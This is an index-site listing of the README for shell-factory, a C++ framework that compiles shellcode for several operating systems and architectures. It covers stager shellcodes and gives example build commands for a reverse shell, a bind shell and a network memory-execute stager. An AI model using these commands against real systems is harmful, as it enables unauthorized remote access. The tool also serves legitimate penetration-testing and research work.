Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/gdelugre/shell-factory
C++-based shellcode builder
https://github.com/gdelugre/shell-factory
Last synced: 29 days ago
JSON representation
C++-based shellcode builder
- Host: GitHub
- URL: https://github.com/gdelugre/shell-factory
- Owner: gdelugre
- License: mit
- Created: 2017-02-22T13:07:50.000Z (almost 8 years ago)
- Default Branch: master
- Last Pushed: 2020-11-19T12:56:29.000Z (about 4 years ago)
- Last Synced: 2023-10-20T19:58:00.427Z (about 1 year ago)
- Language: C++
- Size: 455 KB
- Stars: 110
- Watchers: 12
- Forks: 19
- Open Issues: 2
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# Shell Factory
**Shell Factory** is a framework for compiling shellcodes from a C++ source for
multiple systems and architectures.It is composed of multiple parts:
- a Rakefile for compiling and linking against different compilers and architectures.
- the factory, a set of C++ headers to generate system calls for different systems and architectures.
- picolib, a generic C++ library relying on the system call factory to abstract interactions the target system.The shellcode is compiled as a single compilation unit with common optimizations to reduce its code size.
The resulting file is supposed to be a single binary blob executable from anywhere in memory, starting at offset 0.
## Requirements
- Rake
### Linux
- `binutils`
- `g++` or `clang++`### OS X
- `Xcode` command-line tools
## Basic usage
Put your shellcode source file in the `shellcodes` directory, then compile it with `rake `.
For example, create a template file named `shellcodes/template.cc` :
```c++
#include
#includeusing namespace Pico;
SHELLCODE_ENTRY {
Process::exit(0);
}
```Then compile it with: `rake template`. On a Linux amd64 system, this will generate the files `bins/template.elf` and `bins/template.x86_64-linux.bin`.
```raw
$ objdump -d bins/template.elf00000000004000b0 <_start>:
4000b0: 31 ff xor %edi,%edi
4000b2: b8 e7 00 00 00 mov $0xe7,%eax
4000b7: 0f 05 syscall
```## Default shellcodes
Three generic stager shellcodes are provided in the `shellcodes` directory:
- `shellexec` : runs a standard `/bin/sh` shell or any specified command.
- `memexec` : allocates executable memory, receives data and executes it.
- `dropexec` : reads data, drops an executable file on the system and executes it.
## Channels
Channels are an abstraction layer that allows to use different kind of data
streams configurable through compilation variables: files, sockets, opened file
descriptors.They are typically used by `shellexec`, `memexec` and `dropexec` to receive and
send data. The default channels used are the standard input/output when none are
specified.### Examples
#### Reverse shell on the local network
```sh
rake shellexec CHANNEL=TCP_CONNECT HOST=192.168.0.2 PORT=2222
```#### Bind-shell TCPv6
```sh
rake shellexec CHANNEL=TCP6_LISTEN HOST=::1 PORT=1111
```#### Reverse memory execute over SCTPv6
```sh
rake memexec CHANNEL=SCTP6_CONNECT HOST=fe80::800:27ff:fe00:0 PORT=3333
```## Advanced usage
### Switching compilers
Using the `CC` variable to select your compiler.
```sh
rake shellexec CC=clang++
```### Cross-compilation
You will require a cross-compiler and the headers of the system you are targeting.
```sh
rake memexec CHANNEL=TCP_LISTEN HOST=0.0.0.0 PORT=1337 TRIPLE=aarch64-linux-gnu
```Use the variable `SYSROOT` to specify the root of the target filesystem.
### Debugging
The code is by default massively inlined which makes it particularly tedious to
debug. If you encounter a problem, try decreasing the inline level through the
`RELAX_INLINE` parameter.Also, try specifying `OUTPUT_DEBUG=1` which will generate an executable file with symbols.
### Producing smaller code
Some parameters can be used to reduce the code size in some circumstances:
- `NO_ASSERTS=1` : removes any assert checks from the final shellcode
- `NO_ERROR_CHECKS=1` : removes error checks at system call returns
Do not use format functions (`printf`, `sprintf`, `String::sprintf`, and so
on.) as they will increase your code size significantly.Avoid using the C++ `new` operator as it will instanciate a custom heap which
constitutes a relatively large piece of code.## Supported targets
| | x86 | amd64 | ARM | Aarch64 | PowerPC | SH4 | MIPS |
|----------|-----|-------|-----|---------|---------|-----|------|
| Linux | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ∼ |
| FreeBSD | | ✓ | ∼ | | | | |
| OS X | | ∼ | | | | | |Items marked as ∼ are a work in progress and are not fully implemented yet.
## Caveats
- Passing system call arguments by stack if not yet fully supported.
- No Windows support yet.
- Resulting shellcodes will not enforce any specific charset and may contain null bytes. You will need to use a shellcode encoder for that purpose.
## Authors
- Guillaume Delugré